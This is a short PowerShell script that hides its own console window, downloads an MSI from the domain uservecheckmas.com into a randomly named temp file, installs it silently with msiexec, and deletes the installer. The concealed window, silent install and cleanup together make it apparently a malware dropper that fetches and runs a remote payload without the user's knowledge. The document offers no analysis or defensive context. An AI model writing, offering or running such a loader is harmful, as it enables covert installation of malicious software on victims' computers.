Add-Type @"
using System;
using System.Runtime.InteropServices;

public class Win32 {
    [DllImport("user32.dll")]
    public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

    [DllImport("kernel32.dll")]
    public static extern IntPtr GetConsoleWindow();
}
"@

$hwnd = [Win32]::GetConsoleWindow()

[Win32]::ShowWindow($hwnd, 0)

$msiPath = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName() + ".msi")
Invoke-WebRequest -Uri 'http://uservecheckmas.com/MyApp.msi' -OutFile $msiPath -UseBasicParsing
Start-Sleep -Seconds 5
Start-Process msiexec.exe -ArgumentList @("/i", "$msiPath", "/quiet", "MSIINSTALLPERUSER=1") -Wait
Remove-Item $msiPath -Force -ErrorAction SilentlyContinue

[Win32]::ShowWindow($hwnd, 0)